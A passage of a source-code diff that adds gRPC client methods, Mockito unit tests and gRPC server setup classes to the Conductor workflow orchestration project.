} + + return workflows.getWorkflowsByIdOrThrow(correlationId).getWorkflowsList().stream() + .map(protoMapper::fromProto) + .collect(Collectors.toList()); + } + + /** + * Removes a workflow from the system + * + * @param workflowId the id of the workflow to be deleted + * @param archiveWorkflow flag to indicate if the workflow should be archived before deletion + */ + public void deleteWorkflow(String workflowId, boolean archiveWorkflow) { + Preconditions.checkArgument( + StringUtils.isNotBlank(workflowId), "Workflow id cannot be blank"); + stub.removeWorkflow( + WorkflowServicePb.RemoveWorkflowRequest.newBuilder() + .setWorkflodId(workflowId) + .setArchiveWorkflow(archiveWorkflow) + .build()); + } + + /* + * Retrieve all running workflow instances for a given name and version + * + * @param workflowName the name of the workflow + * @param version the version of the workflow definition. Defaults to 1. + * @return the list of running workflow instances + */ + public List getRunningWorkflow(String workflowName, @Nullable Integer version) { + Preconditions.checkArgument( + StringUtils.isNotBlank(workflowName), "Workflow name cannot be blank"); + + WorkflowServicePb.GetRunningWorkflowsResponse workflows = + stub.getRunningWorkflows( + WorkflowServicePb.GetRunningWorkflowsRequest.newBuilder() + .setName(workflowName) + .setVersion(version == null ? 1 : version) + .build()); + return workflows.getWorkflowIdsList(); + } + + /** + * Retrieve all workflow instances for a given workflow name between a specific time period + * + * @param workflowName the name of the workflow + * @param version the version of the workflow definition. Defaults to 1. + * @param startTime the start time of the period + * @param endTime the end time of the period + * @return returns a list of workflows created during the specified during the time period + */ + public List getWorkflowsByTimePeriod( + String workflowName, int version, Long startTime, Long endTime) { + Preconditions.checkArgument( + StringUtils.isNotBlank(workflowName), "Workflow name cannot be blank"); + Preconditions.checkNotNull(startTime, "Start time cannot be null"); + Preconditions.checkNotNull(endTime, "End time cannot be null"); + // TODO + return null; + } + + /* + * Starts the decision task for the given workflow instance + * + * @param workflowId the id of the workflow instance + */ + public void runDecider(String workflowId) { + Preconditions.checkArgument( + StringUtils.isNotBlank(workflowId), "workflow id cannot be blank"); + stub.decideWorkflow( + WorkflowServicePb.DecideWorkflowRequest.newBuilder() + .setWorkflowId(workflowId) + .build()); + } + + /** + * Pause a workflow by workflow id + * + * @param workflowId the workflow id of the workflow to be paused + */ + public void pauseWorkflow(String workflowId) { + Preconditions.checkArgument( + StringUtils.isNotBlank(workflowId), "workflow id cannot be blank"); + stub.pauseWorkflow( + WorkflowServicePb.PauseWorkflowRequest.newBuilder() + .setWorkflowId(workflowId) + .build()); + } + + /** + * Resume a paused workflow by workflow id + * + * @param workflowId the workflow id of the paused workflow + */ + public void resumeWorkflow(String workflowId) { + Preconditions.checkArgument( + StringUtils.isNotBlank(workflowId), "workflow id cannot be blank"); + stub.resumeWorkflow( + WorkflowServicePb.ResumeWorkflowRequest.newBuilder() + .setWorkflowId(workflowId) + .build()); + } + + /** + * Skips a given task from a current RUNNING workflow + * + * @param workflowId the id of the workflow instance + * @param taskReferenceName the reference name of the task to be skipped + */ + public void skipTaskFromWorkflow(String workflowId, String taskReferenceName) { + Preconditions.checkArgument( + StringUtils.isNotBlank(workflowId), "workflow id cannot be blank"); + Preconditions.checkArgument( + StringUtils.isNotBlank(taskReferenceName), "Task reference name cannot be blank"); + stub.skipTaskFromWorkflow( + WorkflowServicePb.SkipTaskRequest.newBuilder() + .setWorkflowId(workflowId) + .setTaskReferenceName(taskReferenceName) + .build()); + } + + /** + * Reruns the workflow from a specific task + * + * @param rerunWorkflowRequest the request containing the task to rerun from + * @return the id of the workflow + */ + public String rerunWorkflow(RerunWorkflowRequest rerunWorkflowRequest) { + Preconditions.checkNotNull(rerunWorkflowRequest, "RerunWorkflowRequest cannot be null"); + return stub.rerunWorkflow(protoMapper.toProto(rerunWorkflowRequest)).getWorkflowId(); + } + + /** + * Restart a completed workflow + * + * @param workflowId the workflow id of the workflow to be restarted + */ + public void restart(String workflowId, boolean useLatestDefinitions) { + Preconditions.checkArgument( + StringUtils.isNotBlank(workflowId), "workflow id cannot be blank"); + stub.restartWorkflow( + WorkflowServicePb.RestartWorkflowRequest.newBuilder() + .setWorkflowId(workflowId) + .setUseLatestDefinitions(useLatestDefinitions) + .build()); + } + + /** + * Retries the last failed task in a workflow + * + * @param workflowId the workflow id of the workflow with the failed task + */ + public void retryLastFailedTask(String workflowId, boolean resumeSubworkflowTasks) { + Preconditions.checkArgument( + StringUtils.isNotBlank(workflowId), "workflow id cannot be blank"); + stub.retryWorkflow( + WorkflowServicePb.RetryWorkflowRequest.newBuilder() + .setWorkflowId(workflowId) + .setResumeSubworkflowTasks(resumeSubworkflowTasks) + .build()); + } + + /** + * Resets the callback times of all IN PROGRESS tasks to 0 for the given workflow + * + * @param workflowId the id of the workflow + */ + public void resetCallbacksForInProgressTasks(String workflowId) { + Preconditions.checkArgument( + StringUtils.isNotBlank(workflowId), "workflow id cannot be blank"); + stub.resetWorkflowCallbacks( + WorkflowServicePb.ResetWorkflowCallbacksRequest.newBuilder() + .setWorkflowId(workflowId) + .build()); + } + + /** + * Terminates the execution of the given workflow instance + * + * @param workflowId the id of the workflow to be terminated + * @param reason the reason to be logged and displayed + */ + public void terminateWorkflow(String workflowId, String reason) { + Preconditions.checkArgument( + StringUtils.isNotBlank(workflowId), "workflow id cannot be blank"); + stub.terminateWorkflow( + WorkflowServicePb.TerminateWorkflowRequest.newBuilder() + .setWorkflowId(workflowId) + .setReason(reason) + .build()); + } + + /** + * Search for workflows based on payload + * + * @param query the search query + * @return the {@link SearchResult} containing the {@link WorkflowSummary} that match the query + */ + public SearchResult search(String query) { + return search(null, null, null, null, query); + } + + /** + * Search for workflows based on payload + * + * @param query the search query + * @return the {@link SearchResult} containing the {@link Workflow} that match the query + */ + public SearchResult searchV2(String query) { + return searchV2(null, null, null, null, query); + } + + /** + * Paginated search for workflows based on payload + * + * @param start start value of page + * @param size number of workflows to be returned + * @param sort sort order + * @param freeText additional free text query + * @param query the search query + * @return the {@link SearchResult} containing the {@link WorkflowSummary} that match the query + */ + public SearchResult search( + @Nullable Integer start, + @Nullable Integer size, + @Nullable String sort, + @Nullable String freeText, + @Nullable String query) { + + SearchPb.Request searchRequest = createSearchRequest(start, size, sort, freeText, query); + WorkflowServicePb.WorkflowSummarySearchResult result = stub.search(searchRequest); + return new SearchResult<>( + result.getTotalHits(), + result.getResultsList().stream() + .map(protoMapper::fromProto) + .collect(Collectors.toList())); + } + + /** + * Paginated search for workflows based on payload + * + * @param start start value of page + * @param size number of workflows to be returned + * @param sort sort order + * @param freeText additional free text query + * @param query the search query + * @return the {@link SearchResult} containing the {@link Workflow} that match the query + */ + public SearchResult searchV2( + @Nullable Integer start, + @Nullable Integer size, + @Nullable String sort, + @Nullable String freeText, + @Nullable String query) { + SearchPb.Request searchRequest = createSearchRequest(start, size, sort, freeText, query); + WorkflowServicePb.WorkflowSearchResult result = stub.searchV2(searchRequest); + return new SearchResult<>( + result.getTotalHits(), + result.getResultsList().stream() + .map(protoMapper::fromProto) + .collect(Collectors.toList())); + } +} diff --git a/grpc-client/src/test/java/com/netflix/conductor/client/grpc/EventClientTest.java b/grpc-client/src/test/java/com/netflix/conductor/client/grpc/EventClientTest.java new file mode 100644 index 0000000..44b8906 --- /dev/null +++ b/grpc-client/src/test/java/com/netflix/conductor/client/grpc/EventClientTest.java @@ -0,0 +1,123 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.client.grpc; + +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.Mock; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.util.ReflectionTestUtils; + +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.grpc.EventServiceGrpc; +import com.netflix.conductor.grpc.EventServicePb; +import com.netflix.conductor.grpc.ProtoMapper; +import com.netflix.conductor.proto.EventHandlerPb; + +import static junit.framework.TestCase.assertEquals; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.times; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; + +@RunWith(SpringRunner.class) +public class EventClientTest { + + @Mock ProtoMapper mockedProtoMapper; + + @Mock EventServiceGrpc.EventServiceBlockingStub mockedStub; + + EventClient eventClient; + + @Before + public void init() { + eventClient = new EventClient("test", 0); + ReflectionTestUtils.setField(eventClient, "stub", mockedStub); + ReflectionTestUtils.setField(eventClient, "protoMapper", mockedProtoMapper); + } + + @Test + public void testRegisterEventHandler() { + EventHandler eventHandler = mock(EventHandler.class); + EventHandlerPb.EventHandler eventHandlerPB = mock(EventHandlerPb.EventHandler.class); + when(mockedProtoMapper.toProto(eventHandler)).thenReturn(eventHandlerPB); + + EventServicePb.AddEventHandlerRequest request = + EventServicePb.AddEventHandlerRequest.newBuilder() + .setHandler(eventHandlerPB) + .build(); + eventClient.registerEventHandler(eventHandler); + verify(mockedStub, times(1)).addEventHandler(request); + } + + @Test + public void testUpdateEventHandler() { + EventHandler eventHandler = mock(EventHandler.class); + EventHandlerPb.EventHandler eventHandlerPB = mock(EventHandlerPb.EventHandler.class); + when(mockedProtoMapper.toProto(eventHandler)).thenReturn(eventHandlerPB); + + EventServicePb.UpdateEventHandlerRequest request = + EventServicePb.UpdateEventHandlerRequest.newBuilder() + .setHandler(eventHandlerPB) + .build(); + eventClient.updateEventHandler(eventHandler); + verify(mockedStub, times(1)).updateEventHandler(request); + } + + @Test + public void testGetEventHandlers() { + EventHandler eventHandler = mock(EventHandler.class); + EventHandlerPb.EventHandler eventHandlerPB = mock(EventHandlerPb.EventHandler.class); + when(mockedProtoMapper.fromProto(eventHandlerPB)).thenReturn(eventHandler); + EventServicePb.GetEventHandlersForEventRequest request = + EventServicePb.GetEventHandlersForEventRequest.newBuilder() + .setEvent("test") + .setActiveOnly(true) + .build(); + List result = new ArrayList<>(); + result.add(eventHandlerPB); + when(mockedStub.getEventHandlersForEvent(request)).thenReturn(result.iterator()); + Iterator response = eventClient.getEventHandlers("test", true); + verify(mockedStub, times(1)).getEventHandlersForEvent(request); + assertEquals(response.next(), eventHandler); + } + + @Test + public void testUnregisterEventHandler() { + EventClient eventClient = createClientWithManagedChannel(); + EventServicePb.RemoveEventHandlerRequest request = + EventServicePb.RemoveEventHandlerRequest.newBuilder().setName("test").build(); + eventClient.unregisterEventHandler("test"); + verify(mockedStub, times(1)).removeEventHandler(request); + } + + @Test + public void testUnregisterEventHandlerWithManagedChannel() { + EventServicePb.RemoveEventHandlerRequest request = + EventServicePb.RemoveEventHandlerRequest.newBuilder().setName("test").build(); + eventClient.unregisterEventHandler("test"); + verify(mockedStub, times(1)).removeEventHandler(request); + } + + public EventClient createClientWithManagedChannel() { + EventClient eventClient = new EventClient("test", 0); + ReflectionTestUtils.setField(eventClient, "stub", mockedStub); + ReflectionTestUtils.setField(eventClient, "protoMapper", mockedProtoMapper); + return eventClient; + } +} diff --git a/grpc-client/src/test/java/com/netflix/conductor/client/grpc/TaskClientTest.java b/grpc-client/src/test/java/com/netflix/conductor/client/grpc/TaskClientTest.java new file mode 100644 index 0000000..367318a --- /dev/null +++ b/grpc-client/src/test/java/com/netflix/conductor/client/grpc/TaskClientTest.java @@ -0,0 +1,163 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.client.grpc; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.Mock; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.util.ReflectionTestUtils; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.TaskSummary; +import com.netflix.conductor.grpc.ProtoMapper; +import com.netflix.conductor.grpc.SearchPb; +import com.netflix.conductor.grpc.TaskServiceGrpc; +import com.netflix.conductor.grpc.TaskServicePb; +import com.netflix.conductor.proto.TaskPb; +import com.netflix.conductor.proto.TaskSummaryPb; + +import io.grpc.ManagedChannelBuilder; + +import static junit.framework.TestCase.assertEquals; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +@RunWith(SpringRunner.class) +public class TaskClientTest { + + @Mock ProtoMapper mockedProtoMapper; + + @Mock TaskServiceGrpc.TaskServiceBlockingStub mockedStub; + + TaskClient taskClient; + + @Before + public void init() { + taskClient = new TaskClient("test", 0); + ReflectionTestUtils.setField(taskClient, "stub", mockedStub); + ReflectionTestUtils.setField(taskClient, "protoMapper", mockedProtoMapper); + } + + @Test + public void testSearch() { + TaskSummary taskSummary = mock(TaskSummary.class); + TaskSummaryPb.TaskSummary taskSummaryPB = mock(TaskSummaryPb.TaskSummary.class); + when(mockedProtoMapper.fromProto(taskSummaryPB)).thenReturn(taskSummary); + TaskServicePb.TaskSummarySearchResult result = + TaskServicePb.TaskSummarySearchResult.newBuilder() + .addResults(taskSummaryPB) + .setTotalHits(1) + .build(); + SearchPb.Request searchRequest = + SearchPb.Request.newBuilder().setQuery("test query").build(); + when(mockedStub.search(searchRequest)).thenReturn(result); + SearchResult searchResult = taskClient.search("test query"); + assertEquals(1, searchResult.getTotalHits()); + assertEquals(taskSummary, searchResult.getResults().get(0)); + } + + @Test + public void testSearchV2() { + Task task = mock(Task.class); + TaskPb.Task taskPB = mock(TaskPb.Task.class); + when(mockedProtoMapper.fromProto(taskPB)).thenReturn(task); + TaskServicePb.TaskSearchResult result = + TaskServicePb.TaskSearchResult.newBuilder() + .addResults(taskPB) + .setTotalHits(1) + .build(); + SearchPb.Request searchRequest = + SearchPb.Request.newBuilder().setQuery("test query").build(); + when(mockedStub.searchV2(searchRequest)).thenReturn(result); + SearchResult searchResult = taskClient.searchV2("test query"); + assertEquals(1, searchResult.getTotalHits()); + assertEquals(task, searchResult.getResults().get(0)); + } + + @Test + public void testSearchWithParams() { + TaskSummary taskSummary = mock(TaskSummary.class); + TaskSummaryPb.TaskSummary taskSummaryPB = mock(TaskSummaryPb.TaskSummary.class); + when(mockedProtoMapper.fromProto(taskSummaryPB)).thenReturn(taskSummary); + TaskServicePb.TaskSummarySearchResult result = + TaskServicePb.TaskSummarySearchResult.newBuilder() + .addResults(taskSummaryPB) + .setTotalHits(1) + .build(); + SearchPb.Request searchRequest = + SearchPb.Request.newBuilder() + .setStart(1) + .setSize(5) + .setSort("*") + .setFreeText("*") + .setQuery("test query") + .build(); + when(mockedStub.search(searchRequest)).thenReturn(result); + SearchResult searchResult = taskClient.search(1, 5, "*", "*", "test query"); + assertEquals(1, searchResult.getTotalHits()); + assertEquals(taskSummary, searchResult.getResults().get(0)); + } + + @Test + public void testSearchV2WithParams() { + Task task = mock(Task.class); + TaskPb.Task taskPB = mock(TaskPb.Task.class); + when(mockedProtoMapper.fromProto(taskPB)).thenReturn(task); + TaskServicePb.TaskSearchResult result = + TaskServicePb.TaskSearchResult.newBuilder() + .addResults(taskPB) + .setTotalHits(1) + .build(); + SearchPb.Request searchRequest = + SearchPb.Request.newBuilder() + .setStart(1) + .setSize(5) + .setSort("*") + .setFreeText("*") + .setQuery("test query") + .build(); + when(mockedStub.searchV2(searchRequest)).thenReturn(result); + SearchResult searchResult = taskClient.searchV2(1, 5, "*", "*", "test query"); + assertEquals(1, searchResult.getTotalHits()); + assertEquals(task, searchResult.getResults().get(0)); + } + + @Test + public void testSearchWithChannelBuilder() { + TaskClient taskClient = createClientWithManagedChannel(); + TaskSummary taskSummary = mock(TaskSummary.class); + TaskSummaryPb.TaskSummary taskSummaryPB = mock(TaskSummaryPb.TaskSummary.class); + when(mockedProtoMapper.fromProto(taskSummaryPB)).thenReturn(taskSummary); + TaskServicePb.TaskSummarySearchResult result = + TaskServicePb.TaskSummarySearchResult.newBuilder() + .addResults(taskSummaryPB) + .setTotalHits(1) + .build(); + SearchPb.Request searchRequest = + SearchPb.Request.newBuilder().setQuery("test query").build(); + when(mockedStub.search(searchRequest)).thenReturn(result); + SearchResult searchResult = taskClient.search("test query"); + assertEquals(1, searchResult.getTotalHits()); + assertEquals(taskSummary, searchResult.getResults().get(0)); + } + + private TaskClient createClientWithManagedChannel() { + TaskClient taskClient = new TaskClient(ManagedChannelBuilder.forAddress("test", 0)); + ReflectionTestUtils.setField(taskClient, "stub", mockedStub); + ReflectionTestUtils.setField(taskClient, "protoMapper", mockedProtoMapper); + return taskClient; + } +} diff --git a/grpc-client/src/test/java/com/netflix/conductor/client/grpc/WorkflowClientTest.java b/grpc-client/src/test/java/com/netflix/conductor/client/grpc/WorkflowClientTest.java new file mode 100644 index 0000000..289c526 --- /dev/null +++ b/grpc-client/src/test/java/com/netflix/conductor/client/grpc/WorkflowClientTest.java @@ -0,0 +1,173 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.client.grpc; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.Mock; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.util.ReflectionTestUtils; + +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.WorkflowSummary; +import com.netflix.conductor.grpc.ProtoMapper; +import com.netflix.conductor.grpc.SearchPb; +import com.netflix.conductor.grpc.WorkflowServiceGrpc; +import com.netflix.conductor.grpc.WorkflowServicePb; +import com.netflix.conductor.proto.WorkflowPb; +import com.netflix.conductor.proto.WorkflowSummaryPb; + +import io.grpc.ManagedChannelBuilder; + +import static junit.framework.TestCase.assertEquals; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +@RunWith(SpringRunner.class) +public class WorkflowClientTest { + + @Mock ProtoMapper mockedProtoMapper; + + @Mock WorkflowServiceGrpc.WorkflowServiceBlockingStub mockedStub; + + WorkflowClient workflowClient; + + @Before + public void init() { + workflowClient = new WorkflowClient("test", 0); + ReflectionTestUtils.setField(workflowClient, "stub", mockedStub); + ReflectionTestUtils.setField(workflowClient, "protoMapper", mockedProtoMapper); + } + + @Test + public void testSearch() { + WorkflowSummary workflow = mock(WorkflowSummary.class); + WorkflowSummaryPb.WorkflowSummary workflowPB = + mock(WorkflowSummaryPb.WorkflowSummary.class); + when(mockedProtoMapper.fromProto(workflowPB)).thenReturn(workflow); + WorkflowServicePb.WorkflowSummarySearchResult result = + WorkflowServicePb.WorkflowSummarySearchResult.newBuilder() + .addResults(workflowPB) + .setTotalHits(1) + .build(); + SearchPb.Request searchRequest = + SearchPb.Request.newBuilder().setQuery("test query").build(); + when(mockedStub.search(searchRequest)).thenReturn(result); + SearchResult searchResult = workflowClient.search("test query"); + assertEquals(1, searchResult.getTotalHits()); + assertEquals(workflow, searchResult.getResults().get(0)); + } + + @Test + public void testSearchV2() { + Workflow workflow = mock(Workflow.class); + WorkflowPb.Workflow workflowPB = mock(WorkflowPb.Workflow.class); + when(mockedProtoMapper.fromProto(workflowPB)).thenReturn(workflow); + WorkflowServicePb.WorkflowSearchResult result = + WorkflowServicePb.WorkflowSearchResult.newBuilder() + .addResults(workflowPB) + .setTotalHits(1) + .build(); + SearchPb.Request searchRequest = + SearchPb.Request.newBuilder().setQuery("test query").build(); + when(mockedStub.searchV2(searchRequest)).thenReturn(result); + SearchResult searchResult = workflowClient.searchV2("test query"); + assertEquals(1, searchResult.getTotalHits()); + assertEquals(workflow, searchResult.getResults().get(0)); + } + + @Test + public void testSearchWithParams() { + WorkflowSummary workflow = mock(WorkflowSummary.class); + WorkflowSummaryPb.WorkflowSummary workflowPB = + mock(WorkflowSummaryPb.WorkflowSummary.class); + when(mockedProtoMapper.fromProto(workflowPB)).thenReturn(workflow); + WorkflowServicePb.WorkflowSummarySearchResult result = + WorkflowServicePb.WorkflowSummarySearchResult.newBuilder() + .addResults(workflowPB) + .setTotalHits(1) + .build(); + SearchPb.Request searchRequest = + SearchPb.Request.newBuilder() + .setStart(1) + .setSize(5) + .setSort("*") + .setFreeText("*") + .setQuery("test query") + .build(); + when(mockedStub.search(searchRequest)).thenReturn(result); + SearchResult searchResult = + workflowClient.search(1, 5, "*", "*", "test query"); + assertEquals(1, searchResult.getTotalHits()); + assertEquals(workflow, searchResult.getResults().get(0)); + } + + @Test + public void testSearchV2WithParams() { + Workflow workflow = mock(Workflow.class); + WorkflowPb.Workflow workflowPB = mock(WorkflowPb.Workflow.class); + when(mockedProtoMapper.fromProto(workflowPB)).thenReturn(workflow); + WorkflowServicePb.WorkflowSearchResult result = + WorkflowServicePb.WorkflowSearchResult.newBuilder() + .addResults(workflowPB) + .setTotalHits(1) + .build(); + SearchPb.Request searchRequest = + SearchPb.Request.newBuilder() + .setStart(1) + .setSize(5) + .setSort("*") + .setFreeText("*") + .setQuery("test query") + .build(); + when(mockedStub.searchV2(searchRequest)).thenReturn(result); + SearchResult searchResult = workflowClient.searchV2(1, 5, "*", "*", "test query"); + assertEquals(1, searchResult.getTotalHits()); + assertEquals(workflow, searchResult.getResults().get(0)); + } + + @Test + public void testSearchV2WithParamsWithManagedChannel() { + WorkflowClient workflowClient = createClientWithManagedChannel(); + Workflow workflow = mock(Workflow.class); + WorkflowPb.Workflow workflowPB = mock(WorkflowPb.Workflow.class); + when(mockedProtoMapper.fromProto(workflowPB)).thenReturn(workflow); + WorkflowServicePb.WorkflowSearchResult result = + WorkflowServicePb.WorkflowSearchResult.newBuilder() + .addResults(workflowPB) + .setTotalHits(1) + .build(); + SearchPb.Request searchRequest = + SearchPb.Request.newBuilder() + .setStart(1) + .setSize(5) + .setSort("*") + .setFreeText("*") + .setQuery("test query") + .build(); + when(mockedStub.searchV2(searchRequest)).thenReturn(result); + SearchResult searchResult = workflowClient.searchV2(1, 5, "*", "*", "test query"); + assertEquals(1, searchResult.getTotalHits()); + assertEquals(workflow, searchResult.getResults().get(0)); + } + + public WorkflowClient createClientWithManagedChannel() { + WorkflowClient workflowClient = + new WorkflowClient(ManagedChannelBuilder.forAddress("test", 0)); + ReflectionTestUtils.setField(workflowClient, "stub", mockedStub); + ReflectionTestUtils.setField(workflowClient, "protoMapper", mockedProtoMapper); + return workflowClient; + } +} diff --git a/grpc-client/src/test/resources/mockito-extensions/org.mockito.plugins.MockMaker b/grpc-client/src/test/resources/mockito-extensions/org.mockito.plugins.MockMaker new file mode 100644 index 0000000..b3188fb --- /dev/null +++ b/grpc-client/src/test/resources/mockito-extensions/org.mockito.plugins.MockMaker @@ -0,0 +1 @@ +mock-maker-inline diff --git a/grpc-server/build.gradle b/grpc-server/build.gradle new file mode 100644 index 0000000..45fa516 --- /dev/null +++ b/grpc-server/build.gradle @@ -0,0 +1,20 @@ +dependencies { + implementation project(':conductor-common') + implementation project(':conductor-core') + implementation project(':conductor-grpc') + + compileOnly 'org.springframework.boot:spring-boot-starter' + + implementation "io.grpc:grpc-netty:${revGrpc}" + implementation "io.grpc:grpc-services:${revGrpc}" + implementation "io.grpc:grpc-protobuf:${revGrpc}" + implementation "com.google.guava:guava:${revGuava}" + implementation "org.apache.commons:commons-lang3" + implementation "com.fasterxml.jackson.core:jackson-databind" + implementation "com.fasterxml.jackson.core:jackson-core" + implementation "com.fasterxml.jackson.core:jackson-annotations" + + testImplementation "io.grpc:grpc-testing:${revGrpc}" + testImplementation "io.grpc:grpc-protobuf:${revGrpc}" + testImplementation "org.testinfected.hamcrest-matchers:all-matchers:${revHamcrestAllMatchers}" +} diff --git a/grpc-server/src/main/java/com/netflix/conductor/grpc/server/GRPCServer.java b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/GRPCServer.java new file mode 100644 index 0000000..e599f8f --- /dev/null +++ b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/GRPCServer.java @@ -0,0 +1,52 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.grpc.server; + +import java.io.IOException; +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import io.grpc.BindableService; +import io.grpc.Server; +import io.grpc.ServerBuilder; +import jakarta.annotation.PostConstruct; +import jakarta.annotation.PreDestroy; + +public class GRPCServer { + + private static final Logger LOGGER = LoggerFactory.getLogger(GRPCServer.class); + + private final Server server; + + public GRPCServer(int port, List services) { + ServerBuilder builder = ServerBuilder.forPort(port); + services.forEach(builder::addService); + server = builder.build(); + } + + @PostConstruct + public void start() throws IOException { + server.start(); + LOGGER.info("grpc: Server started, listening on " + server.getPort()); + } + + @PreDestroy + public void stop() { + if (server != null) { + LOGGER.info("grpc: server shutting down"); + server.shutdown(); + } + } +} diff --git a/grpc-server/src/main/java/com/netflix/conductor/grpc/server/GRPCServerProperties.java b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/GRPCServerProperties.java new file mode 100644 index 0000000..ad4dc64 --- /dev/null +++ b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/GRPCServerProperties.java @@ -0,0 +1,41 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.grpc.server; + +import org.springframework.boot.context.properties.ConfigurationProperties; + +@ConfigurationProperties("conductor.grpc-server") +public class GRPCServerProperties { + + /** The port at which the gRPC server will serve requests */ + private int port = 8090; + + /** Enables the reflection service for Protobuf services */ + private boolean reflectionEnabled = true; + + public int getPort() { + return port; + } + + public void setPort(int port) { + this.port = port; + } + + public boolean isReflectionEnabled() { + return reflectionEnabled; + } + + public void setReflectionEnabled(boolean reflectionEnabled) { + this.reflectionEnabled = reflectionEnabled; + } +} diff --git a/grpc-server/src/main/java/com/netflix/conductor/grpc/server/GrpcConfiguration.java b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/GrpcConfiguration.java new file mode 100644 index 0000000..77be5a9 --- /dev/null +++ b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/GrpcConfiguration.java @@ -0,0 +1,40 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.grpc.server; + +import java.util.List; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import io.grpc.BindableService; +import io.grpc.protobuf.services.ProtoReflectionService; + +@Configuration +@ConditionalOnProperty(name = "conductor.grpc-server.enabled", havingValue = "true") +@EnableConfigurationProperties(GRPCServerProperties.class) +public class GrpcConfiguration { + + @Bean + public GRPCServer grpcServer( + List bindableServices, // all gRPC service implementations + GRPCServerProperties grpcServerProperties) { + if (grpcServerProperties.isReflectionEnabled()) { + bindableServices.add(ProtoReflectionService.newInstance()); + } + + return new GRPCServer(grpcServerProperties.getPort(), bindableServices); + } +} diff --git a/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/EventServiceImpl.java b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/EventServiceImpl.java new file mode 100644 index 0000000..4974547 --- /dev/null +++ b/grpc-server/src/main/java/com/netflix/conductor/grpc/server/service/EventServiceImpl.java @@ -0,0 +1,86 @@ +/* + * Copyright 2020 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

